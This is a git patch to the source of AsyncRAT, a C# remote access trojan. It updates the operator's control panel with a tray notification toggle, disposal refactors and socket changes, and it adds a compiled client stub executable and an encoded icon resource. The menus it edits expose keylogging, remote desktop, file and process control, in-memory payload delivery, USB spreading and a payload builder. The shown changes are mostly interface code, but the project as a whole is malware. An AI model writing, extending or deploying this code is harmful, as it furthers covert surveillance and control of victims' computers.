From 9eb913b5288f0bb82313016c8c595dc392e554d7 Mon Sep 17 00:00:00 2001 From: NYAN CAT Date: Sat, 4 May 2019 22:26:16 -0700 Subject: [PATCH] Update added mutex added notification minor bugs fixed --- AsyncRAT-C#/AsyncRAT-Sharp/App.config | 6 + .../AsyncRAT-Sharp/AsyncRAT-Sharp.csproj | 1 + .../AsyncRAT-Sharp/Forms/Form1.Designer.cs | 98 ++-- AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.cs | 46 +- AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.resx | 462 ++++++++++++++++++ .../Forms/FormBuilder.Designer.cs | 32 +- .../AsyncRAT-Sharp/Forms/FormBuilder.cs | 13 +- .../AsyncRAT-Sharp/Forms/FormDownloadFile.cs | 4 +- AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormPorts.cs | 2 - .../AsyncRAT-Sharp/Forms/FormRemoteDesktop.cs | 2 +- .../Handle Packet/HandleFileManager.cs | 233 ++++----- .../Handle Packet/HandleKeylogger.cs | 33 +- .../Handle Packet/HandleListView.cs | 51 +- .../Handle Packet/HandlePing.cs | 8 +- .../Handle Packet/HandleProcessManager.cs | 45 +- .../Handle Packet/HandleRemoteDesktop.cs | 60 +-- .../Handle Packet/HandleThumbnails.cs | 50 +- .../AsyncRAT-Sharp/Handle Packet/Packet.cs | 16 +- .../Properties/Resources.Designer.cs | 10 + .../AsyncRAT-Sharp/Properties/Resources.resx | 13 +- .../Properties/Settings.Designer.cs | 26 +- .../Properties/Settings.settings | 6 + .../Resources/AsyncRAT-Sharp.exe.config | 6 + AsyncRAT-C#/AsyncRAT-Sharp/Resources/Stub.exe | Bin 0 -> 141312 bytes .../AsyncRAT-Sharp/Resources/Stub.exe.config | 3 + .../AsyncRAT-Sharp/Resources/settings.png | Bin 0 -> 953 bytes AsyncRAT-C#/AsyncRAT-Sharp/Settings.cs | 2 +- AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs | 15 +- AsyncRAT-C#/AsyncRAT-Sharp/Socket/Listener.cs | 53 +- .../Client/Handle Packet/HandleFileManager.cs | 9 +- .../Client/Handle Packet/HandleSendTo.cs | 62 ++- AsyncRAT-C#/Client/Handle Packet/Packet.cs | 4 +- AsyncRAT-C#/Client/Settings.cs | 4 +- AsyncRAT-C#/Client/Sockets/ClientSocket.cs | 10 +- 34 files changed, 1024 insertions(+), 361 deletions(-) create mode 100644 AsyncRAT-C#/AsyncRAT-Sharp/Resources/Stub.exe create mode 100644 AsyncRAT-C#/AsyncRAT-Sharp/Resources/Stub.exe.config create mode 100644 AsyncRAT-C#/AsyncRAT-Sharp/Resources/settings.png diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/App.config b/AsyncRAT-C#/AsyncRAT-Sharp/App.config index f9cc18d..bc11de2 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/App.config +++ b/AsyncRAT-C#/AsyncRAT-Sharp/App.config @@ -22,6 +22,12 @@ + + False + + + + \ No newline at end of file diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/AsyncRAT-Sharp.csproj b/AsyncRAT-C#/AsyncRAT-Sharp/AsyncRAT-Sharp.csproj index f576686..4fc0d12 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/AsyncRAT-Sharp.csproj +++ b/AsyncRAT-C#/AsyncRAT-Sharp/AsyncRAT-Sharp.csproj @@ -231,6 +231,7 @@ + diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.Designer.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.Designer.cs index c33c667..8b1678f 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.Designer.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.Designer.cs @@ -70,13 +70,16 @@ this.columnHeader1 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.columnHeader2 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.tabPage3 = new System.Windows.Forms.TabPage(); + this.listView3 = new System.Windows.Forms.ListView(); this.contextMenuStrip2 = new System.Windows.Forms.ContextMenuStrip(this.components); this.sTARTToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.sTOPToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.imageList1 = new System.Windows.Forms.ImageList(this.components); this.performanceCounter1 = new System.Diagnostics.PerformanceCounter(); this.performanceCounter2 = new System.Diagnostics.PerformanceCounter(); - this.listView3 = new System.Windows.Forms.ListView(); + this.notifyIcon1 = new System.Windows.Forms.NotifyIcon(this.components); + this.contextMenuStrip3 = new System.Windows.Forms.ContextMenuStrip(this.components); + this.notificationOFFToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.contextMenuStrip1.SuspendLayout(); this.statusStrip1.SuspendLayout(); this.tabControl1.SuspendLayout(); @@ -86,6 +89,7 @@ this.contextMenuStrip2.SuspendLayout(); ((System.ComponentModel.ISupportInitialize)(this.performanceCounter1)).BeginInit(); ((System.ComponentModel.ISupportInitialize)(this.performanceCounter2)).BeginInit(); + this.contextMenuStrip3.SuspendLayout(); this.SuspendLayout(); // // listView1 @@ -151,7 +155,7 @@ // // contextMenuStrip1 // - this.contextMenuStrip1.ImageScalingSize = new System.Drawing.Size(24, 24); + this.contextMenuStrip1.ImageScalingSize = new System.Drawing.Size(18, 18); this.contextMenuStrip1.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { this.cLIENTOPTIONSToolStripMenuItem, this.toolStripSeparator1, @@ -170,7 +174,7 @@ this.toolStripSeparator3, this.aBOUTToolStripMenuItem}); this.contextMenuStrip1.Name = "contextMenuStrip1"; - this.contextMenuStrip1.Size = new System.Drawing.Size(283, 412); + this.contextMenuStrip1.Size = new System.Drawing.Size(277, 412); // // cLIENTOPTIONSToolStripMenuItem // @@ -181,47 +185,47 @@ this.uNISTALLToolStripMenuItem}); this.cLIENTOPTIONSToolStripMenuItem.Image = global::AsyncRAT_Sharp.Properties.Resources.client; this.cLIENTOPTIONSToolStripMenuItem.Name = "cLIENTOPTIONSToolStripMenuItem"; - this.cLIENTOPTIONSToolStripMenuItem.Size = new System.Drawing.Size(282, 30); + this.cLIENTOPTIONSToolStripMenuItem.Size = new System.Drawing.Size(276, 30); this.cLIENTOPTIONSToolStripMenuItem.Text = "CLIENT OPTIONS"; // // cLOSEToolStripMenuItem // this.cLOSEToolStripMenuItem.Name = "cLOSEToolStripMenuItem"; - this.cLOSEToolStripMenuItem.Size = new System.Drawing.Size(173, 30); + this.cLOSEToolStripMenuItem.Size = new System.Drawing.Size(252, 30); this.cLOSEToolStripMenuItem.Text = "CLOSE"; this.cLOSEToolStripMenuItem.Click += new System.EventHandler(this.cLOSEToolStripMenuItem_Click); // // rESTARTToolStripMenuItem // this.rESTARTToolStripMenuItem.Name = "rESTARTToolStripMenuItem"; - this.rESTARTToolStripMenuItem.Size = new System.Drawing.Size(173, 30); + this.rESTARTToolStripMenuItem.Size = new System.Drawing.Size(252, 30); this.rESTARTToolStripMenuItem.Text = "RESTART"; this.rESTARTToolStripMenuItem.Click += new System.EventHandler(this.RESTARTToolStripMenuItem_Click); // // uPDATEToolStripMenuItem // this.uPDATEToolStripMenuItem.Name = "uPDATEToolStripMenuItem"; - this.uPDATEToolStripMenuItem.Size = new System.Drawing.Size(173, 30); + this.uPDATEToolStripMenuItem.Size = new System.Drawing.Size(252, 30); this.uPDATEToolStripMenuItem.Text = "UPDATE"; this.uPDATEToolStripMenuItem.Click += new System.EventHandler(this.uPDATEToolStripMenuItem_Click); // // uNISTALLToolStripMenuItem // this.uNISTALLToolStripMenuItem.Name = "uNISTALLToolStripMenuItem"; - this.uNISTALLToolStripMenuItem.Size = new System.Drawing.Size(173, 30); + this.uNISTALLToolStripMenuItem.Size = new System.Drawing.Size(252, 30); this.uNISTALLToolStripMenuItem.Text = "UNISTALL"; this.uNISTALLToolStripMenuItem.Click += new System.EventHandler(this.uNISTALLToolStripMenuItem_Click); // // toolStripSeparator1 // this.toolStripSeparator1.Name = "toolStripSeparator1"; - this.toolStripSeparator1.Size = new System.Drawing.Size(279, 6); + this.toolStripSeparator1.Size = new System.Drawing.Size(273, 6); // // vISITWEBSITEToolStripMenuItem // this.vISITWEBSITEToolStripMenuItem.Image = global::AsyncRAT_Sharp.Properties.Resources.visit; this.vISITWEBSITEToolStripMenuItem.Name = "vISITWEBSITEToolStripMenuItem"; - this.vISITWEBSITEToolStripMenuItem.Size = new System.Drawing.Size(282, 30); + this.vISITWEBSITEToolStripMenuItem.Size = new System.Drawing.Size(276, 30); this.vISITWEBSITEToolStripMenuItem.Text = "VISIT WEBSITE"; this.vISITWEBSITEToolStripMenuItem.Click += new System.EventHandler(this.VISITWEBSITEToolStripMenuItem_Click); // @@ -229,7 +233,7 @@ // this.sENDMESSAGEBOXToolStripMenuItem.Image = global::AsyncRAT_Sharp.Properties.Resources.msgbox; this.sENDMESSAGEBOXToolStripMenuItem.Name = "sENDMESSAGEBOXToolStripMenuItem"; - this.sENDMESSAGEBOXToolStripMenuItem.Size = new System.Drawing.Size(282, 30); + this.sENDMESSAGEBOXToolStripMenuItem.Size = new System.Drawing.Size(276, 30); this.sENDMESSAGEBOXToolStripMenuItem.Text = "SEND MESSAGEBOX"; this.sENDMESSAGEBOXToolStripMenuItem.Click += new System.EventHandler(this.sENDMESSAGEBOXToolStripMenuItem_Click); // @@ -237,7 +241,7 @@ // this.sENDFILEToolStripMenuItem.Image = global::AsyncRAT_Sharp.Properties.Resources.tomem; this.sENDFILEToolStripMenuItem.Name = "sENDFILEToolStripMenuItem"; - this.sENDFILEToolStripMenuItem.Size = new System.Drawing.Size(282, 30); + this.sENDFILEToolStripMenuItem.Size = new System.Drawing.Size(276, 30); this.sENDFILEToolStripMenuItem.Text = "SEND FILE TO DISK"; this.sENDFILEToolStripMenuItem.Click += new System.EventHandler(this.sENDFILEToolStripMenuItem_Click_1); // @@ -245,7 +249,7 @@ // this.sENDFILETOMEMORYToolStripMenuItem.Image = global::AsyncRAT_Sharp.Properties.Resources.tomem1; this.sENDFILETOMEMORYToolStripMenuItem.Name = "sENDFILETOMEMORYToolStripMenuItem"; - this.sENDFILETOMEMORYToolStripMenuItem.Size = new System.Drawing.Size(282, 30); + this.sENDFILETOMEMORYToolStripMenuItem.Size = new System.Drawing.Size(276, 30); this.sENDFILETOMEMORYToolStripMenuItem.Text = "SEND FILE TO MEMORY"; this.sENDFILETOMEMORYToolStripMenuItem.Click += new System.EventHandler(this.sENDFILETOMEMORYToolStripMenuItem_Click); // @@ -253,7 +257,7 @@ // this.rEMOTEDESKTOPToolStripMenuItem.Image = global::AsyncRAT_Sharp.Properties.Resources.remotedesktop; this.rEMOTEDESKTOPToolStripMenuItem.Name = "rEMOTEDESKTOPToolStripMenuItem"; - this.rEMOTEDESKTOPToolStripMenuItem.Size = new System.Drawing.Size(282, 30); + this.rEMOTEDESKTOPToolStripMenuItem.Size = new System.Drawing.Size(276, 30); this.rEMOTEDESKTOPToolStripMenuItem.Text = "REMOTE DESKTOP"; this.rEMOTEDESKTOPToolStripMenuItem.Click += new System.EventHandler(this.rEMOTEDESKTOPToolStripMenuItem_Click); // @@ -261,7 +265,7 @@ // this.kEYLOGGERToolStripMenuItem.Image = global::AsyncRAT_Sharp.Properties.Resources.logger; this.kEYLOGGERToolStripMenuItem.Name = "kEYLOGGERToolStripMenuItem"; - this.kEYLOGGERToolStripMenuItem.Size = new System.Drawing.Size(282, 30); + this.kEYLOGGERToolStripMenuItem.Size = new System.Drawing.Size(276, 30); this.kEYLOGGERToolStripMenuItem.Text = "KEYLOGGER"; this.kEYLOGGERToolStripMenuItem.Click += new System.EventHandler(this.KEYLOGGERToolStripMenuItem_Click); // @@ -269,7 +273,7 @@ // this.fILEMANAGERToolStripMenuItem.Image = global::AsyncRAT_Sharp.Properties.Resources.filemanager; this.fILEMANAGERToolStripMenuItem.Name = "fILEMANAGERToolStripMenuItem"; - this.fILEMANAGERToolStripMenuItem.Size = new System.Drawing.Size(282, 30); + this.fILEMANAGERToolStripMenuItem.Size = new System.Drawing.Size(276, 30); this.fILEMANAGERToolStripMenuItem.Text = "FILE MANAGER"; this.fILEMANAGERToolStripMenuItem.Click += new System.EventHandler(this.fILEMANAGERToolStripMenuItem_Click); // @@ -277,7 +281,7 @@ // this.pROCESSMANAGERToolStripMenuItem.Image = global::AsyncRAT_Sharp.Properties.Resources.process; this.pROCESSMANAGERToolStripMenuItem.Name = "pROCESSMANAGERToolStripMenuItem"; - this.pROCESSMANAGERToolStripMenuItem.Size = new System.Drawing.Size(282, 30); + this.pROCESSMANAGERToolStripMenuItem.Size = new System.Drawing.Size(276, 30); this.pROCESSMANAGERToolStripMenuItem.Text = "PROCESS MANAGER"; this.pROCESSMANAGERToolStripMenuItem.Click += new System.EventHandler(this.pROCESSMANAGERToolStripMenuItem_Click); // @@ -285,7 +289,7 @@ // this.bOTKILLERToolStripMenuItem.Image = global::AsyncRAT_Sharp.Properties.Resources.botkiller; this.bOTKILLERToolStripMenuItem.Name = "bOTKILLERToolStripMenuItem"; - this.bOTKILLERToolStripMenuItem.Size = new System.Drawing.Size(282, 30); + this.bOTKILLERToolStripMenuItem.Size = new System.Drawing.Size(276, 30); this.bOTKILLERToolStripMenuItem.Text = "BOT KILLER"; this.bOTKILLERToolStripMenuItem.Click += new System.EventHandler(this.BOTKILLERToolStripMenuItem_Click); // @@ -293,33 +297,33 @@ // this.uSBSPREADToolStripMenuItem.Image = global::AsyncRAT_Sharp.Properties.Resources.usb; this.uSBSPREADToolStripMenuItem.Name = "uSBSPREADToolStripMenuItem"; - this.uSBSPREADToolStripMenuItem.Size = new System.Drawing.Size(282, 30); + this.uSBSPREADToolStripMenuItem.Size = new System.Drawing.Size(276, 30); this.uSBSPREADToolStripMenuItem.Text = "USB SPREAD"; this.uSBSPREADToolStripMenuItem.Click += new System.EventHandler(this.USBSPREADToolStripMenuItem_Click); // // toolStripSeparator2 // this.toolStripSeparator2.Name = "toolStripSeparator2"; - this.toolStripSeparator2.Size = new System.Drawing.Size(279, 6); + this.toolStripSeparator2.Size = new System.Drawing.Size(273, 6); // // bUILDERToolStripMenuItem // this.bUILDERToolStripMenuItem.Image = global::AsyncRAT_Sharp.Properties.Resources.builder; this.bUILDERToolStripMenuItem.Name = "bUILDERToolStripMenuItem"; - this.bUILDERToolStripMenuItem.Size = new System.Drawing.Size(282, 30); + this.bUILDERToolStripMenuItem.Size = new System.Drawing.Size(276, 30); this.bUILDERToolStripMenuItem.Text = "BUILDER"; this.bUILDERToolStripMenuItem.Click += new System.EventHandler(this.bUILDERToolStripMenuItem_Click); // // toolStripSeparator3 // this.toolStripSeparator3.Name = "toolStripSeparator3"; - this.toolStripSeparator3.Size = new System.Drawing.Size(279, 6); + this.toolStripSeparator3.Size = new System.Drawing.Size(273, 6); // // aBOUTToolStripMenuItem // this.aBOUTToolStripMenuItem.Image = global::AsyncRAT_Sharp.Properties.Resources.info; this.aBOUTToolStripMenuItem.Name = "aBOUTToolStripMenuItem"; - this.aBOUTToolStripMenuItem.Size = new System.Drawing.Size(282, 30); + this.aBOUTToolStripMenuItem.Size = new System.Drawing.Size(276, 30); this.aBOUTToolStripMenuItem.Text = "ABOUT"; this.aBOUTToolStripMenuItem.Click += new System.EventHandler(this.ABOUTToolStripMenuItem_Click); // @@ -425,6 +429,19 @@ this.tabPage3.Text = "Thumbnail"; this.tabPage3.UseVisualStyleBackColor = true; // + // listView3 + // + this.listView3.ContextMenuStrip = this.contextMenuStrip2; + this.listView3.Dock = System.Windows.Forms.DockStyle.Fill; + this.listView3.LargeImageList = this.imageList1; + this.listView3.Location = new System.Drawing.Point(0, 0); + this.listView3.Name = "listView3"; + this.listView3.ShowItemToolTips = true; + this.listView3.Size = new System.Drawing.Size(1160, 402); + this.listView3.SmallImageList = this.imageList1; + this.listView3.TabIndex = 0; + this.listView3.UseCompatibleStateImageBehavior = false; + // // contextMenuStrip2 // this.contextMenuStrip2.ImageScalingSize = new System.Drawing.Size(24, 24); @@ -467,18 +484,27 @@ this.performanceCounter2.CategoryName = "Memory"; this.performanceCounter2.CounterName = "% Committed Bytes In Use"; // - // listView3 + // notifyIcon1 // - this.listView3.ContextMenuStrip = this.contextMenuStrip2; - this.listView3.Dock = System.Windows.Forms.DockStyle.Fill; - this.listView3.LargeImageList = this.imageList1; - this.listView3.Location = new System.Drawing.Point(0, 0); - this.listView3.Name = "listView3"; - this.listView3.ShowItemToolTips = true; - this.listView3.Size = new System.Drawing.Size(1160, 402); - this.listView3.SmallImageList = this.imageList1; - this.listView3.TabIndex = 0; - this.listView3.UseCompatibleStateImageBehavior = false; + this.notifyIcon1.ContextMenuStrip = this.contextMenuStrip3; + this.notifyIcon1.Icon = ((System.Drawing.Icon)(resources.GetObject("notifyIcon1.Icon"))); + this.notifyIcon1.Text = "AsyncRAT"; + this.notifyIcon1.Visible = true; + // + // contextMenuStrip3 + // + this.contextMenuStrip3.ImageScalingSize = new System.Drawing.Size(24, 24); + this.contextMenuStrip3.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.notificationOFFToolStripMenuItem}); + this.contextMenuStrip3.Name = "contextMenuStrip3"; + this.contextMenuStrip3.Size = new System.Drawing.Size(224, 34); + // + // notificationOFFToolStripMenuItem + // + this.notificationOFFToolStripMenuItem.Name = "notificationOFFToolStripMenuItem"; + this.notificationOFFToolStripMenuItem.Size = new System.Drawing.Size(223, 30); + this.notificationOFFToolStripMenuItem.Text = "Notification [OFF]"; + this.notificationOFFToolStripMenuItem.Click += new System.EventHandler(this.NotificationOFFToolStripMenuItem_Click); // // Form1 // @@ -504,6 +530,7 @@ this.contextMenuStrip2.ResumeLayout(false); ((System.ComponentModel.ISupportInitialize)(this.performanceCounter1)).EndInit(); ((System.ComponentModel.ISupportInitialize)(this.performanceCounter2)).EndInit(); + this.contextMenuStrip3.ResumeLayout(false); this.ResumeLayout(false); this.PerformLayout(); @@ -558,6 +585,9 @@ private System.Windows.Forms.ToolStripMenuItem sTOPToolStripMenuItem; public System.Windows.Forms.ImageList imageList1; public System.Windows.Forms.ListView listView3; + public System.Windows.Forms.NotifyIcon notifyIcon1; + private System.Windows.Forms.ContextMenuStrip contextMenuStrip3; + private System.Windows.Forms.ToolStripMenuItem notificationOFFToolStripMenuItem; } } diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.cs index 250ff23..58cf9c6 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.cs @@ -67,18 +67,25 @@ namespace AsyncRAT_Sharp private async void Form1_Load(object sender, EventArgs e) { Text = $"{Settings.Version}"; - FormPorts portsFrm = new FormPorts(); - portsFrm.ShowDialog(); + using (FormPorts portsFrm = new FormPorts()) + { + portsFrm.ShowDialog(); + Settings.Port = portsFrm.textPorts.Text; + Settings.Password = portsFrm.textPassword.Text; + Settings.AES = new Aes256(Settings.Password); + } await Methods.FadeIn(this, 5); trans = true; - Settings.Port = portsFrm.textPorts.Text; - Settings.Password = portsFrm.textPassword.Text; - Settings.AES = new Aes256(Settings.Password); - portsFrm.Dispose(); - string[] ports = Settings.Port.Split(','); + + Connect(); + } + + private void Connect() + { try { + string[] ports = Settings.Port.Split(','); foreach (var port in ports) { if (!string.IsNullOrWhiteSpace(port)) @@ -96,10 +103,9 @@ namespace AsyncRAT_Sharp Environment.Exit(0); } } - - private void Form1_FormClosed(object sender, FormClosedEventArgs e) { + notifyIcon1.Dispose(); Environment.Exit(0); } @@ -407,9 +413,10 @@ namespace AsyncRAT_Sharp private void bUILDERToolStripMenuItem_Click(object sender, EventArgs e) { - FormBuilder formBuilder = new FormBuilder(); - formBuilder.ShowDialog(); - formBuilder.Dispose(); + using( FormBuilder formBuilder = new FormBuilder()) + { + formBuilder.ShowDialog(); + } } private void fILEMANAGERToolStripMenuItem_Click(object sender, EventArgs e) @@ -615,5 +622,20 @@ namespace AsyncRAT_Sharp } catch { } } + + private void NotificationOFFToolStripMenuItem_Click(object sender, EventArgs e) + { + if (notificationOFFToolStripMenuItem.Text.Contains("[ON]")) + { + notificationOFFToolStripMenuItem.Text = "Notification is currently [OFF]"; + Properties.Settings.Default.Notification = false; + } + else + { + notificationOFFToolStripMenuItem.Text = "Notification is currently [ON]"; + Properties.Settings.Default.Notification = true; + } + Properties.Settings.Default.Save(); + } } } diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.resx b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.resx index ae76e9b..94d585d 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.resx +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.resx @@ -141,7 +141,469 @@ 871, 17 + + 1479, 17 + + + 17, 65 + + + + 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 + O//Yoln/1JhH/8R0Bv/DcQD5w3EAc8NxAADDcQAA3X0AAN19AADdfQCM3X0A/919AP/wxIz///////rt + 2//hjiP/3XwA/919AP/afAD/x3MA/8NxAP/DcAD/yX8a//Tl0f//////58eb/8RzA//DcQD/w3EAoMNx + AAHDcQAA3X0AAN19AALdfQCl3X0A/917AP/kmDb//PTq///////rs2r/3HsA/919AP/afAD/x3IA/8Nx + AP/CbwD/2KRc//79/P/89/H/0pVC/8JvAP/DcQD/w3EAuMNxAAfDcQAA3X0AAN19AAjdfQC83X0A/919 + AP/efwX/89Gk///////23r7/4IgV/96CCv/cgQr/yXgK/8V2Cv/HehH/7dOx///////t1LP/xXYK/8Nx + AP/DcQD/w3EAzcNxABHDcQAA3X0AAN19ABPdfQDR3X0A/919AP/dewD/56JJ//769P/++/j/+OPJ//ff + wf/238L/8d3C//Dcwf/y4Mf//fn1//78+v/XoVf/wm8A/8NxAP/DcQD/w3EA38NxAB7DcQAA3X0AAN19 + ACHdfQDi3X0A/919AP/dfQD/34MN//bbuv////////////////////////////////////////////Lg + x//HexP/w3AA/8NxAP/DcQD/w3EA7cNxAC/DcQAA3X0AAN19ADPdfQDv3X0A/919AP/dfQD/3XsA/+mt + Xv/+/fv//vv3/+/AhP/oq1z/26Zd/9+1ev/89/H//////92ub//CbwD/w3EA/8NxAP/DcQD/w3EA98Nx + AETDcQAA3X0AAN19AEjdfQD53X0A/919AP/dfQD/3XwA/+CIF//45cz//////+27ev/ZeAD/xW4A/9qp + Z///////9urZ/8qCIP/DcAD/w3EA/8NxAP/DcQD/w3EA/sNxAFvDcQAA3X0AAN19AGDdfQD/3X0A/919 + AP/dfQD/3X0A/918AP/tuHX///////nmzv/dhxb/ynkM/+/bvv//////4ryG/8NwAP/DcQD/w3EA/8Nx + AP/DcQD/w3EA/8NxAHTDcQAA3X0AAN19AHndfQD/3X0A/919AP/dfQD/3X0A/918AP/ijyT/+u3d///+ + /P/lp1b/15hE//369f/58uf/zosw/8JvAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAI7DcQAA3X0AAN19 + AJPdfQD/3X0A/919AP/dfQD/3X0A/919AP/dfQD/8MSM///////z17P/7c6l///////oyZ7/xHME/8Nx + AP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAKfDcQAD3X0ABN19AKvdfQD/3X0A/919AP/dfQD/3X0A/919 + AP/dewD/5Jc0//z06v/+/Pn//vv3//z48v/TlkP/wm8A/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8Nx + AL3DcQAL3X0ADd19AMHdfQD/3X0A/919AP/dfQD/3X0A/919AP/dfQD/3n8F//PQo////////////+3V + tP/Fdgr/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxANHDcQAX3X0AGt19ANXdfQD/3X0A/919 + AP/dfQD/3X0A/919AP/dfQD/3XsA/+ahR//++fT//vz6/9iiWf/CbwD/w3EA/8NxAP/DcQD/w3EA/8Nx + AP/DcQD/w3EA/8NxAOLDcQAo3X0AJ919AN3dfQD/3X0A/919AP/dfQD/3X0A/919AP/dfQD/3X0A/96D + DP/23Lv/8uLL/8d8FP/DcAD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAOjDcQA33X0ACN19 + AEXdfQCU3X0A1919APrdfQD/3X0A/919AP/dfQD/3X0A/917AP/pq1z/3Kxr/8JvAP/DcQD/w3EA/8Nx + AP/DcQD/w3EA/8NxAPvDcQDcw3EAm8NxAE3DcQAMAAAAAN19AADdfQAC3X0AG919AFbdfQCj3X0A4d19 + AP3dfQD/3X0A/919AP/cgQv/yXkN/8NwAP/DcQD/w3EA/8NxAP3DcQDlw3EAqsNxAF3DcQAfw3EAA8Nx + AAAAAAAAAAAAAAAAAAAAAAAA3X0AAN19AADdfQAE3X0AJN19AGTdfQCw3X0A5919AP3aewD/x3IA/8Nx + AP7DcQDrw3EAtsNxAGzDcQApw3EABcNxAADDcQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + 